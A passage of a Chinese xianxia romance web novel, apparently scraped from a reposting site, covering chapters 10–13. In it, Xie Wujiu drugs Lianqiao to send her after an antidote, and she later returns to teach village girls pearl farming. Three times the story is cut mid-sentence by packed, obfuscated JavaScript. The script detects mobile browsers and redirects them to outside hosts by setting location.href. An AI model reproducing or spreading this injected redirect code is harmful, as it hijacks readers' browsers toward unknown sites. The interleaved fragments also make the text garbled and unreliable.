连翘不允许有人贬低她辛辛苦苦熬出来的红糖水,若不是任务需要,没有任何一个男人值得她牺牲自己的闲暇时光下厨房。 “而且我还不了解你啊,谢无咎,”她掰着手指头数,“你和你师兄都是镇厄宗弟子,银铃不离身,是个笑面虎,你还咬了我一……” “那你呢?”谢无咎突然打断她,“我该怎么称呼你?大小姐,我还不知道你的名字呢。” “你可以叫我金主爸爸~” 连翘笑嘻嘻地凑近,在看到谢无咎黑沉沉的脸色后继续不知死活地摸着下巴思考。 “啊不对不对,我对‘爸’和‘爹’两个字过敏,你还是叫我富婆姐姐吧!” 屋内陷入长久的静默,唯有银铃在谢无咎指尖轻轻晃动,发出细碎的声响。连翘看着少年低垂的睫毛在眼下投下一片阴影,忽然觉得这场景莫名熟悉——就像她在系统资料里看到的,黑化时一个人坐在角落里的少年。 但系统还没有进行黑化度提示。 “谢无咎。”她放轻了声音,在他对面坐下来,“你觉得,一个人对另一个人好,一定需要理由吗?” 少年抬起眼,眼底带着未完全褪去的防备的锐利。 连翘不紧不慢地继续道:“就像现在,我端来这碗红糖水…” 她突然倾身向前,垂落的发梢扫过谢无咎的手背。 “有没有可能只是单纯觉得,受伤的人不应该每天跑来跑去,就应当喝点补血的东西?” 谢无咎的呼吸明显滞了一瞬。他下意识往后靠了靠,后腰顶上坚硬的床板: “大小姐真是滥好心,对谁都这么体贴。” “那要看是谁了。”连翘直起身,故意拖长声调,“比如你师兄,我就会送些花啊香囊啊什么的……毕竟那才能算上定情信物嘛!” “至于你——”她突然正色,“你到底是希望我是因为共生蛊关心你,还是因为你这个人所以关心你呢?” 谢无咎神色一凛,意味不明地盯住她。 “如果我说是后者,”连翘继续道,“你肯定不相信。因为你觉得这个世界上不该有人不怀目的地对一个人好,即便这种好只是很细微的,就像富家小姐施舍一碗热粥给乞儿一样,她未必记得这碗粥,也从没指望那小乞儿能报答她。” 谢无咎的瞳孔微微收缩。 “是了,不是所有的小乞儿都能等到那碗热粥,不是所有求助都能得到回应,靠山山倒,靠人人跑,一个人最终要依靠的是自己。但这不意味着接受别人的好意,是什么软弱的、令人耻笑的行为呀。” “不过,”连翘把碗往他面前推了推,“如果你觉得''共生蛊''这个理由更容易接受,那就这么想吧。或者,再来一个强有力的理由,我是为了报答你帮我找回了二百五十两。” 她晃了两下脚上的珍珠履,歪头笑了笑:“这样…是不是会让你好接受一些?” 11. 第 11 章 屋外传来两三声犬吠,但茅屋内的空气仍然凝滞着,只剩下红糖水袅袅升起的热气,在两人指尖织就一层薄薄的雾障。 谢无咎终于伸手端起碗,指尖在碰到碗沿时微不可察地颤了颤。 “太烫了。”他说。 烫吗?这都端来多久了,找借口也得合理点吧。 连翘嘴角抽抽。 “啊呀,你总不会是指望我帮你吹吹吧?” 谢无咎将碗往她面前一推,勾起一个纯良无害的微笑:“既然大小姐这么热心……” “想得美!” 连翘一把拍开他的手。 少年没用什么力气,很轻易地被推开了。他垂着头一脸落寞,是刚被师兄教训完还没缓过神来的可怜样。 谢凛勉强算是位好师兄,就是身上有着东亚长辈改不掉的坏毛病,不管是爱、关心还是安慰,从来不会直接地说出口。 这么一想,连翘又有些共情他了。 她顿了顿,还是凑近碗边,装模做样地吹了两下。 “喏,凉了。” 谢无咎纹丝不动:“谁知道你有没有下毒。” 这就有点过分了。 他们二人因共生蛊命理相连,给他下毒对她有什么好处吗? “你——做人不要太得寸进尺噢,”连翘懒得哄人,舀起一勺就往他嘴边送,“给我喝!” 少年并不配合,反而扣住她的手腕,将勺子转向她:“还是先试毒。” 连翘抬头与他对视,两双眼睛都不甘示弱地盯着对方,看上去似乎要在这个点上纠缠到底了。 虽然不知道为什么谢无咎这么纠结此事,但糖水有毒无毒连翘还是知道的。 既然这么担忧,那就喝一口给他看好了。 她不屑地哼了一声,张口吞下。 红糖水的甜香在舌尖化开。 谢无咎眯起眼睛,看着她把糖水咽下去,然后将勺子从她手里抽出,慢条斯理从桌下抽屉里取出一方手帕仔细擦拭干净。 “这么讲究,你还有洁癖啊……”连翘正要吐槽他,却见少年嘲讽似的冲她弯了弯眼睛,朗声道: “喂我吧。” 连翘:“?” 少爷病犯了? 她还没开口,手臂就不受控制地伸出去,精准地接过少年递过来的勺子,又舀起一勺,稳稳递到谢无咎唇边。 “你…!” 她瞪大眼睛,试图收回手,却失败了,只能眼睁睁地看着自己像个丫鬟似的伺候他。 谢无咎慢条斯理地咽下糖水,眼中闪着得逞的精光:“‘三日醉’,听说过吗?” 连翘的瞳孔地震——这分明是原著里谢无咎拿来折磨敌人的东西! 三日醉,顾名思义,就是三天内醺醺然,一切行为全凭下毒之人的一张嘴操控。 凭借着三日醉,这家伙在原著里可没少干缺德事: 比如给骚扰叶望舒的壮汉下了三日醉,让这人在闹市里撅着屁股深情吻墙; 再比如让小动作不断的炮灰连抄了三日三夜的佛经,狼毫笔都掉了好几根毛…… 就算谢无咎现在开口要她扭断自己的脖子,她也会立马照做。 而如果借助系统的力量强行挣脱的话,恐怕又得伤及肺腑,哐哐咳血。 她的红糖水就算是白熬了。 连翘脸上懊恼的神色太过明显,谢无咎挑起眉毛。 “看来是听过了,也是,大小姐既然掏的出共生蛊,想必对这些还是有点研究的。” 他笑。 “我比不上大小姐有钱,拿不出共生蛊这种效用终生、难以解除的东西,但过瘾一下还是可以的。” 可怜之人必有可恨之处啊! 男人的嘴,就是骗人的鬼。 连翘行为上做不到捶胸顿足,但好歹嘴上破口大骂。 “谢无咎你这个大猪蹄子!居然用这种下三滥的手段!” 谢无咎优雅地咽下糖水,闻言挑眉:“大猪蹄子?” “对!又油又腻还难啃!”连翘一边被迫喂他,一边疯狂输出,“你这种行为放在法治社会是要被挂上反诈APP示众的!” “噢?”谢无咎饶有兴趣地支着下巴,“那是什么东西?” “给你说了你也不明白。” 到底是自己掉以轻心了,连翘泄气。 接下来的场面堪称诡异——连翘嘴上咬牙切齿地咒骂,动作却轻柔地一勺勺喂他喝糖水。 每当她想摔碗走人,手指就会自动松开又收紧,把碗端得更稳了。 等到连翘被迫喂完最后一口红糖水,谢无咎突然将空碗往桌上一扣。 “既然喂完了……”他无视姑娘气得发抖的眼角,“帮我去取件东西。” 连翘心中警铃大作,却也只能继续耍嘴上威风。 “我警告你,别太过分哦。不然我就诅咒你走路必踩狗屎,乘船必遇逆风,吃汤面没有浇头——” 谢无咎对她的骂声充耳不闻,慢悠悠地从袖中抽出一张烫金请柬: “认得百宝阁的拍卖会请柬吗?就在咱们第一次遇到的小镇上。” “不认得,不知道,关我什么事。” 连翘嘴上敷衍着,手却违背主人意愿自动接过请柬翻开。 “我要你拍下明日那场拍卖会的压轴品。” 他道。 “……可那镇子那么远,咱们过来的时候可整整花了两天。” “所以呀,”谢无咎挑起半边眉毛,“路途遥远,大小姐恐怕要赶夜路了。” 一失足成千古恨,就不应该因为这小子与师兄吵架了心情不好而迁就他……说到底还是个黑心肝的。 连翘又一次懊悔。 她脸上涨得通红,却只能眼睁睁看着自己的双腿不受控制地迈开步子,倒退着往门外走。 从桌案到门口短短的距离,她想尽了所有恶毒的诅咒。 “你以后买的蜜饯全是虫蛀的,睡觉永远被蚊子叮,系个腰带都能打成死结——” 可这些诅咒对于谢无咎来说,实在是……毫无威慑力。 他本就不爱吃甜的,修炼之人更是不惧蚊虫叮咬,都是些不痛不痒的小事。 少年冲她挥了挥手,懒洋洋道: “记得把门带上。” 连翘咬牙,她的手臂不争气地自动为他关上了门。 少女骂骂咧咧的声音逐渐远去,屋内骤然安静下来,只剩下窗外竹叶沙沙的声响。 桌上残留的红糖水渐渐凝固,甜腻的香气混着少女发间淡淡的茉莉香,在空气中慢慢消散。那些吵吵嚷嚷的拌嘴、叮叮当当的珠钗碰撞声,仿佛都被关在了门外。 谢无咎盯着桌上空碗看了片刻,突然一把抓起,狠狠掷在地上,瓷碗顷刻间被摔得粉碎。 真是个麻烦,他揉了揉太阳穴。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375253|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这个突然冒出来的大小姐行事诡谲,嘴上似是而非说着些叫人听不懂的疯话,阴差阳错撞破了他这么多秘密,完全不按常理出牌。 以为她涉世未深,可她却计算人心、先一步给他下了共生蛊;以为她草包一个,可她却敏锐地察觉到船夫异样,还在最后赶回水下宫殿救他。 只是他什么时候需要别人来救了? 水属妖怪依赖潮汐之力,而他早在夸下海口前便已经算过天象,封印沧溟的那天晚上没有月亮。 因此,在一身血液流尽之前,他定能将那怪物困死在屏障里。 所以这去而复返的姑娘,自作聪明,麻烦得很。 他讨厌麻烦。 他讨厌所有不受控的东西。 既然如今雨童的真相已经揭开,渡过无渡泽不再需要乘坐昂贵的渡厄舟,那么就没有让这位大小姐继续跟着他们的必要,自然是越早送走越好。 唯一需要解决的就是那个该死的共生蛊。 谢无咎的指尖无意识地摩挲着腰间的银铃——他这几天已经去打听过,明日清溪镇百宝阁的拍卖会上,压轴的正是能解百蛊的“解缘丹”。 他是买不起,但以连翘挥挥手就拿出一箱灵石和乱七八糟一堆符咒丹药的身家,想必拍下它易如反掌。 虽然这姑娘嘴上说着去找百里湘是为了祝余草,可她能拿出共生蛊、回春丹这等宝物,想寻一个祝余草不也简单得很。 怎么看,她都像是对师兄一见钟情,然后色迷心窍罢了。 如今她既已被师兄拒绝,等到解了蛊,自然就没有理由再跟着他们了。 冰凉的月光透过窗棂照进来。 谢无咎叹了口气。 明明赶走了那个聒噪的麻烦精,耳根子终于清静了,可这寂静却像潮水般漫上来,压得他胸口发闷。 少年低头一看,发现自己腰间的银铃不知何时竟然如同连翘所诅咒的那样真的缠成了死结。 他皱眉去解,却越解越乱。 谢无咎:“……” 他盯着那个银铃结,指节都因用力而发白。这团乱麻就像他此刻的心绪——分明该松一口气的,却莫名堵得慌。 最终,他决定当作没看见,双手抱头仰躺。 熄了烛火,一室昏暗。 第二日清早,村中公鸡的啼叫声穿透晨曦,院外传来急促的脚步声,踩得土路上泥泞一片。 “姑娘,姑娘在吗?”昨日那位大婶在门外喊道,“二白从落神村回来啦!” 屋内,叶望舒正清点行装,闻言放下手中叠了一半的素色罗裙,走出去打开院门。 “叶姑娘!”大婶见她,踮着脚探着头往院子里张望,“与你们一起的那位,那位穿金戴玉的姑娘呢?昨日我答应她,若是二白回来,就跟她说一声的。” “想是还没醒呢,我替您去叫她。” 叶望舒下意识回头看向连翘的厢房,突然意识到那扇木门是虚掩着的,露出一道幽暗的缝隙。 她叩了两下房门,走进去,只见床榻上的棉被叠得整整齐齐,枕边还留着几根发丝,在晨光中微微发亮。 “奇怪……”她纤细的手指抚过床榻,那上面已经没有了余温。 叶望舒走到院中,扬声问:“阿凛!你今早起来有见过那个姑娘么?” “没有。”谢凛的脚步声由远及近,“而且我刚发现,装灵石的那个箱子不见了。” 12. 第 12 章 谢凛皱了一下眉毛,径直走向谢无咎的房间,叩响了房门。 门“吱呀”一声开了。谢无咎倚在门框上,眼下青黑,一副没睡好的模样。 ——他确实没睡好。自连翘离开的后半夜,他浑身上下便泛起细密的刺痛,像是有无数根银针顺着血脉游走。起初他还能强撑着闭上眼睛,心想这共生蛊确实比想象的更麻烦些。可随着天色将明,那疼痛竟愈发剧烈,到最后连呼吸都带着灼烧感。 她说,离开太远的话会死,竟完全不是玩笑话。 只是这倒也不见得是坏事,人总要痛过才晓得利害,尤其是那样的大小姐。又是舍身救人,又是洗手做羹汤后被这样报复,定然会解了蛊毒不再回来了。 而这就是他想要的结果。 他的命不值钱,就是死了也无人在乎。可他不想因为共生蛊的牵连,背上一条良心债。 “师兄,大清早的,火气这么重?”谢无咎懒洋洋地打了个哈欠,手掌落在轻微刺痛的胸口。 语气听着还在因为昨日吵架的事情生气。 “阿咎,你有见到……” “她走啦。” 谢无咎叹口气,神情颇为可惜。 “昨夜在我房中哭到深夜,说师兄伤她太深,”他故意顿了顿,“要去别处找个性格温柔一点的。” “伤她太深?”叶望舒狐疑地看向同样站在廊下的谢凛,从冰山酷哥摸着鼻子转过头去的动作里猜出了答案。 “可我觉得那姑娘不是这样的人呀”,她纤细的眉毛轻轻蹙起:“那些灵石……” “自然是被她带走了。” 谢无咎伸了个懒腰,银铃随着他的动作叮当作响,自然道: “本就是她的东西,不是吗?” “那……”大婶突然打断他们的对话,她搓着粗糙的双手,局促地站在院门口,“你们还要去见二白吗?不需要我带路的话,我就回家做早饭了。” “正事要紧,师兄。”谢无咎直起身子,转头对谢凛道。 谢凛深深地看了他一眼,漆黑如墨的眸子看不出情绪,终究转身向院门走去。叶望舒匆忙跟上,裙摆扫过门槛时,她回头看了眼仍倚在门边的谢无咎。 惨淡的晨光落在少年的身上,像是为人镀上了一层金边,他微垂着眼睛,神色晦暗不明,像是笼罩着一层薄雾。 女孩子对情绪的感知通常来说都会更敏锐一些。 叶望舒想,这孩子看上去,似乎不太开心。 大婶领着三人穿过村中小路,径直来到一处低矮的土坯房前。檐下晒着的红辣椒串落了灰,门框上褪色的春联残角窸窣作响。 “二白!来客了!” 大婶在栅栏外喊了一声,很快便有人出来开门。 谢凛不动声色地打量着这个精瘦的中年人——他的右腿有些跛,但步伐意外地轻快。 “就是这些仙长?”二白的目光扫过他们,他嘴里称呼着仙长,神情上却看不出有多尊敬,讶然道,“倒是比我想象的要小上许多。” 他搬了几个小板凳放到院子里,只是也不知这屋子有多久无人居住了,上面落着厚厚一层灰。主角团三人均没有落座,谢凛一如既往地第一个开口。 “听闻您是今早刚从落神村回来的。” 他看二白点了点头,正要打听消息。突然被谢无咎打断,少年面上笑意盈盈,眼睛亮起光来。 “我们早便听闻落神村乃世外桃源,民风淳朴,人杰地灵。如今见到二白哥,才知道传言并非空穴来风。您一看就是能成大事的人。” “小仙长过奖了。”二白摆手,“我就是个村夫,不是什么大人物。” “非也非也,二白哥太谦虚了。” 谢无咎立马反驳,张口就来。 “我自小学艺不精,符咒剑术一窍不通,但于卜算一道上颇有建树。刚在门口见到您的第一眼我便看出来了,您这面相可不一般!天庭饱满,地阁方圆,这是大富大贵之相啊。” 他像模像样地掐着指头:“您今年三十有六了吧?” 二白点头。 “八年前您伤口感染严重,右腿几乎全废了,在家里躺了大半年,是么?” 再点头。 谢无咎摊手,问,方便看看手相吗?他抓起二白黢黑的手,若有所思了一阵子。 “您这掌纹真是不得了,事业线又深又长,说明您是个能做大事的人。感情线虽然有些波折,但最终都能逢凶化吉。” 他指着二白掌心的纹路:“特别是这条智慧线,一直延伸到小指下方,说明您不仅聪明,而且特别讲义气。朋友有难,您肯定是第一个出手相助的。” 这下,二白的眼睛都瞪大了,听得连连点头。 “小仙长说得太准了!我去年还借给隔壁老王……” 谢无咎继续道:“那便是了,您一生正气浑然天成,早前虽吃苦受难一蹶不振,但禀性坚定未曾自暴自弃,正所谓“大难不死必有后福”,您八年前的腿伤看似是祸,实则是福,就是转运的开始。” “可我在落神村待了这些年,并没有觉出有什么机缘呀?” 二白用手擦干净了板凳上的灰,热情地邀请谢无咎坐下,完全信了他的话。 少年眯着眼睛,故作神秘,云里雾里道: “强龙蛰伏只为一鸣惊人,您需多与贵人相处。” “贵人,我的贵人是哪位?” 谢无咎笑眯眯问:“您的腿伤,可是落神村村长帮您治好的?” “是啊,村长那可是个活神仙!”二白一拍大腿,突然福至心灵,“所以村长便是……” 谢无咎点点头,道:“我就说二白哥是个聪明人,一点就透。” “小仙长才是,神机妙算啊!”二白自以为知晓了天机,不由得兴奋,话也多了起来。 “是了是了,村长看着也就二十出头,可去年大旱,他抬手就招来三天三夜的雨;这月村中有小孩掉到了河里,他掐指一算就知道在哪个方位……” 他挠挠脑袋。 “实不相瞒,原本我是半月前就要回来的,但村长告诫我说无渡泽最近不太平,让我晚几天再动身。果不其然,就前些天夜里,湖上那叫一个惊涛拍岸、大浪滔天,那夜过后,村长才来通知我,可以过湖了。现在想想,许是贵人在救我的命呢……” 谢凛、谢无咎和叶望舒三人对视一眼,均在彼此脸上看出了惊疑不定的神色。 按照二白的说法,这位活神仙恐怕早便知道雨童和沧溟的事情。 叶望舒无意间问:“我家中有个姐姐,近些天才嫁到洛神村去,叫做百里湘,您可曾听说过?” “村里住着百来号人呢,没听说过这名字。”见谢无咎眉头微蹙,二白连忙补充,“不过我可以帮小仙长打听!就是……恐怕最早也得明日才能再回去。” 谢无咎挑起眉毛,疑惑道:“为何要等到明日?” 二白搓了搓手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15375254|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,解释道:“小仙长有所不知,今早我回来时,码头已经排起长队了。今日不知怎的,突然多了许多外地人要渡湖去落神村。” 他压低声音:“看模样许多都是修士呢。” 三人闻言心头俱是一震。谢凛与叶望舒暗中交换了个眼色——渡厄舟的传言既破,这些修士必是冲着百里湘而来。 谢无咎的面色因为忍痛透着白,他的指尖不自觉地摩挲起腰间的银铃,暗忖来得正好。 原本还担心师兄与叶望舒会去寻连翘的下落,确认她无碍了再动身。但眼下事不宜迟,迟则生变,他们应当是没有去寻连翘的时间了。 果然,谢凛拱手道:“那明日一早,我们便同二白哥一道去排队。” 三人最后去确认了一次封印沧溟的阵法,然后看望了芸娘。后者连着几日闭门不出,如今总算是缓过神来,收拾着行囊说要离开这个伤心地。 姑娘心善,叶望舒留下来帮芸娘拾掇屋子,谢凛与谢无咎两个壮丁自然难逃一劫,谢凛沉默地修补着漏风的房顶,而谢无咎则坐在院子里劈晚上生火做饭用的柴。 突然间,少年挥斧头的动作一顿。 他忽然意识到,不知道从何时开始,共生蛊宿主相距过远所带来的那股锥心刺骨的疼痛竟然消失了。 斧头的尖端在木头上刻出深深的凹痕,就像他心头突然塌陷的一块。疼痛消失得这样无影无踪,只有一种可能:她解了蛊。 如此……便好。 谢无咎松了口气,却不知为何频频走神,甚至差点不小心剁掉自己的手。 忙完这些,芸娘留他们吃了晚饭,几日前屋中剑拔弩张相对的几人围坐在圆桌边分食一条又鲜又嫩的清蒸鲈鱼。 回程路上,暮色四合,远处湖面泛着碎银似的月光。叶望舒踩着吱呀作响的木板桥,终于按捺不住好奇: “无咎,你怎么知道二白那么多事?连他腿伤的事都……” 谢无咎狡黠一笑,踢着路边的石子玩: “昨日我与……”他顿了下,接着道,“昨日我便听到村民聊天时提过他腿伤的事情。于是方才去他屋子的路上,我悄悄地问过了领路的大婶,本想着知己知彼方能百战不殆,没想到……” 他得意地眨眨眼。 “要骗一个爱做白日梦的人还不容易?” “机智!”叶望舒竖起大拇指。 谢无咎微微弯了下唇,月光在他纤长的睫毛下投射出细碎的阴影。少年嘴角的笑意还未完全展开就凝固住了,像是春日里突然遭遇霜冻的花苞。 他下意识摸了摸心口——那里明明被夸赞了,却空落落的,仿佛少了什么人叽叽喳喳的呛声。 你有病吗?谢无咎。 他对自己说。 与人吵架还吵上瘾了不成? 百转千回的心事中,少年故作谦虚的话还未开口,就听见谢凛冷声道: “终究是小聪明,莫要沾沾自喜。” 气氛一时间降到了冰点,三人沉默着拐过弯道。 忽见远方他们住着的院落亮着昏黄灯火,浓重的鱼腥味混着冰冷的夜风扑面而来。 三人同时绷紧神经——这几日与水鬼打了太多交道,这味道他们可太熟悉了。 谢凛拍了下师弟的肩膀,三人手中各自的法器蓄势待发,叶望舒手腕上的补天石泛起金光,三人以战斗阵型逼近。 谢无咎死死地盯着门缝下那道可疑的水渍,猛地踹开院门。 13. 第 13 章 门哐当一声开了,露出一个少女的背影。 “哇啊!” 连翘吓得一蹦三尺高,手里竹筐“哐当”掉在地上,里面的河蚌散落一地,浓郁的鱼腥味就是从这里散发出来的。 她的后心被谢凛的剑尖抵住,颈侧是叶望舒手上紧绷的金线,谢无咎的银铃垂在她的眼前,轻轻地震动着,发出叮铃铃的声响。 三人眼中寒光毕现,一副要取她狗命的架势。 她大气都不敢喘,紧张地呼吸着,直到近在咫尺的要命玩意儿都被收回去了,才拍着胸口惊魂未定。 幸好自己胆子大,不然要是在这儿心脏病突发了也不知道算不算工伤。 “你怎么在这儿?” “你去哪里了?我们今天都很担心你。” 谢无咎和叶望舒的声音同时响起,连翘斜着眼睛狠狠瞪了前者一眼,转而冲着叶望舒笑道。 “是我疏忽了,叶姐姐,”她扯着叶望舒的袖子,笑得乖巧又讨好,“我下次自己出门会记得提前留个口信的。” “……真是拿你没办法。”叶望舒耳根子软,不轻不重地念了她几句,见她无事便也放下心来,又回归了最开始的问题。 “所以,你今日跑到哪里去了?” 此话一出,原本一直在谢无咎指尖旋转的银铃骤然停住,清脆的叮当声消弭在空气中,小院里出现了片刻的寂静。 使唤人的时候不是气焰很嚣张吗?这个时候知道慌了? 连翘朝少年的方向瞥了一眼,只见到对方乌黑的发顶与垂下的眼睫。她刻意让这沉默拖得久了一些,确信期间的一分一秒对于谢无咎来说都是煎熬。 能有什么办法呢?她想。 她才刚刚告诉谢无咎“要学会接纳别人的善意”,下一秒就被这人不由分说请离了主角团,显然没有听进去分毫,甚至还选择了南辕北辙的道路。 其实也早就有这个心理准备。 引导叛逆少年走上正途这样艰巨的任务,若是只动动嘴皮子就能实现的话,未免也太简单了一点。 等到少年几乎要在月光下冻结成一具雕塑,连翘才蹦蹦跳跳跑到墙角,掀开一个湿漉漉的竹筐,里面密密麻麻挤满了青黑色的河蚌,蚌壳边缘泛着珍珠母特有的虹彩。 “这是云纹蚌!”她献宝似的捧起一个,“我今天就是去买这个的。你们知道吗?这种蚌三年就能产珠,品相好的能卖五十两银子一颗。” 叶望舒蹲下身,好奇地戳了戳紧闭的蚌壳: “你买这个做什么?” “我打算教村子里的姑娘们养这个,”连翘从腰间解下一个小布包,倒出几粒米粒大的小东西,“只要在蚌肉里植入这种小珠核,成功的几率是很大的,最重要的是——” 她的话音骤停,因为谢无咎不知何时凑了过来,鼻尖几乎要碰到她手里的东西。 少年乌沉沉的眸子半眯着,脸色还透着些劫后余生的白。 “是什么?” 这家伙属猫的吗?走路怎么没有声音? 连翘如今不想和他说话,于是猛地后退一步,气鼓鼓地瞪了他一眼,转向叶望舒的时候又笑容满面,用实力演绎什么叫做翻脸比翻书还快。 她语调轻快,带着一点恳求的意味。 “我想请叶姐姐帮忙下个禁制,养珠的手艺,传女不传男。” 夜风突然变得急促,吹得院中竹叶沙沙作响。谢凛抱剑而立,月光在他眉宇间凝成霜色。 “胡闹。”他斥道,“修士不得干预凡俗——” “这算哪门子的干预?”连翘也提高了声调,“当时你们也都听见了,那些小孩子…那些被献祭的雨童……” 她哽了哽,半晌才继续道。 “不把普通人的命当命,拿钱不办事的修士固然可恨。但他们从来没有说过需要献祭的是女童。可为什么……为什么那些小孩子每一个都是女孩呢?” “因为这个村子靠捕鱼为生,捕鱼是一个力气活,男子在这上面有着先天的优势。如果这些女孩子能够靠珍珠赚钱,如果她们比男人更有用……” 一番话说得断断续续,词不达意。 不是系统任务要求,她也没有这么做的必要。但连翘总觉得,如果她不做些什么,会后悔一辈子的。 她深呼吸一下,正准备继续往下说,突然被叶望舒握住了手。 姑娘的眼睛亮晶晶的,很坚定又很有力量的看过来,她娇小的身躯笼罩在鹅黄色的衣裙中,像是一朵格外坚韧的迎春花。 她说:“我都明白的,我帮你。” 咒术奥妙繁多,能实现连翘需求的却比较罕见,恰好叶望舒近年走南闯北,也听闻过几个。有一种言令咒,它能实现传递的内容只有指定的人可以理解,兴许可以在这里发挥作用。 两个姑娘挽着手钻到屋子里去钻研了一炷香的工夫。叶望舒指尖金光流转,在连翘手心画完最后一笔禁制符咒时,连翘感觉掌心微微发烫。 “已经画完了。”叶望舒期待又忐忑地开口,“但具体效果如何,估计还要去实验一下。” “明白!”连翘冲她敬了个礼,黑漆漆的眸子嘀哩咕噜转了一圈,笑道,“院子里不正坐着两个实验对象么?” 她们设置的规则是,只有女子可以听懂语言所传递的养珠秘诀,所以如果言令生效,当她们说起养珠秘诀的时候,听在男子耳朵里就是叽里咕噜一通鸟语。 于是她们又手挽着手出来,抓住了坐在院子里漫无目的数星星的师兄弟二人。 “好了,小眼睛,看着我;小耳朵,竖起来!” 连翘拍了拍手,深吸一口气,挺直腰板,字正腔圆地说道。 “云纹蚌要养在水流交汇处,蚌壳微张时植入珠核……” 为了教给村子里的女孩们,她早便将这几段话背得滚瓜烂熟。流畅又迅速地背诵完,连翘期待地眨眨眼睛,目光在谢凛和谢无咎之间来回扫视。 “你们听懂了吗?” 答案千万一定要是“没听懂”啊,她在内心双手合十。 可惜老天爷似乎没有收到连翘的祈祷,很快谢无咎便眨眨眼睛答道:“听懂了。” “听懂了?”连翘叹气,与叶望舒对视一眼,在彼此脸上看到了失望之意。正当二人打算回到屋子里研究一下究竟是哪一步出了差错时,又听到谢无咎继续道。 “你刚刚不就是说,你前世是个狐狸精……” 连翘:? 她转头,看向谢无咎,发觉少年正扳着手指,在一本正经地胡诌。 “你说你前世是个狐狸精,男女通吃,有时只是无意中眨了下眼,就被人说是胡乱散发魅力,简直冤死了。” 他模仿着平日里连翘的语气,越说越起劲。 “有时候陌生男子找你搭讪,你出于礼貌会冷笑一下,他们就觉得有戏。所以你一直想找一个不追求外表和金钱的男人,但没想到这样一个男人,也就是师兄,他狠狠地拒绝了你。” 谢凛:……? 这个故事里面还有他的戏份呢? 少年的话音落下,院子里连竹叶落地的声音都清晰可辨,每个人脸上的表情都写着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15375255|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言难尽。 连翘心道,坏了,真让他学会了。 她听了谢无咎的前两句话,就知道他要作什么妖,只是没想到这家伙简直是天赋型选手,随便胡言乱语两句就能成为抽象圣经的程度。 她扯了扯嘴角,皮笑肉不笑。 “你说的很好,下次不要再说了。” 设禁制的方法实验好了,但主角团明日就要出发,当务之急就是在村中找到一位愿意教授当地姑娘养珠秘诀的人。 连翘抚摸着腰上还没有归还的长命锁,说出了自己心中的最佳人选:“芸娘……怎么样?” “可是芸娘今日同我们说,她准备离开村子了。”叶望舒迟疑道。 “也许我们告诉了她这件事,她就会改变想法了。” 于是第二日一早,晨雾还未散尽,连翘就拉着叶望舒敲响了芸娘的屋门。老妇人已经收拾好了行囊,褪色的蓝布包袱里整整齐齐叠着几件旧衣裳,里面还有那块绣着荷花的手绢。 “您……真要走了?”连翘将长命锁递还给她,注意到芸娘恋恋不舍地抚摸着门框上深浅不一的划痕,那是每年给阿囡量身高留下的印记。 芸娘枯瘦的手指抚过那些划痕,声音沙哑得像是几天之间老了十岁。 “这屋子太静,我是呆不住了。” 叶望舒将装满云纹蚌的竹筐放在桌上,蚌壳之间碰撞发出清脆的声响,她笑笑,道,也不急在这一时了,可否让我们再耽搁您一些时间。 连翘麻利地搬来木盆注满清水,拿起一个云纹蚌跟芸娘讲了一下她们的想法。 “婆婆,您想不想学养珍珠?” “我……”老妇人浑浊的眼里泛起水光,“我一个老婆子……” “这件事情无关年纪,”连翘抓住芸娘的手,拍了拍她的手背,“您为阿囡做了这么多,我们都明白您的良苦用心。这法子我们想要教给村里的姑娘们,总得需要一位您这样镇得住场的长辈不是么?” 芸娘的手在连翘掌心里微微发颤,那双布满老茧的手上还留着常年拉网的勒痕。她低头看着盆中微微张合的云纹蚌,恍惚间仿佛又看见阿囡蹲在河边捡贝壳的身影。 “您看,”连翘捏着一根针轻轻撬开蚌壳,“从这里植入珠核,等珍珠长成了,就能换好些银钱呢。到时候她们想要读书,想要学手艺,都不用求着旁人应允了。” “我……”芸娘的声音哽住了。阳光落在她发间的一缕银白上,那些白像是突然有了生气,她慢慢挺直了佝偻的背。 “我想起菜园子里还有几棵青菜,一会儿煮锅面条,叫上那两个孩子一起来吃吧。” “好嘞!” 连翘和叶望舒相视一笑,她们知道,这是芸娘答应留下的方式。 连翘对自己的厨艺有自知之明,于是留下叶望舒帮芸娘打下手,她赶去码头寻找谢凛和谢无咎。 远远地,她就看见码头上已经排起了长龙,乌压压的全是人头。几个村民正站在队伍外围,热络地聊着天。 而谢凛和谢无咎则站在队伍中间,周围却空出了一小片区域——仿佛其他修士都在刻意避开他们。 连翘眯起眼睛,敏锐地察觉到不对劲。她加快脚步走进,果然听见人群中传来窸窸窣窣的议论声: “那就是镇厄宗的人吧?” “听说十年前整个宗门都被血洗了,就剩他们两个……” 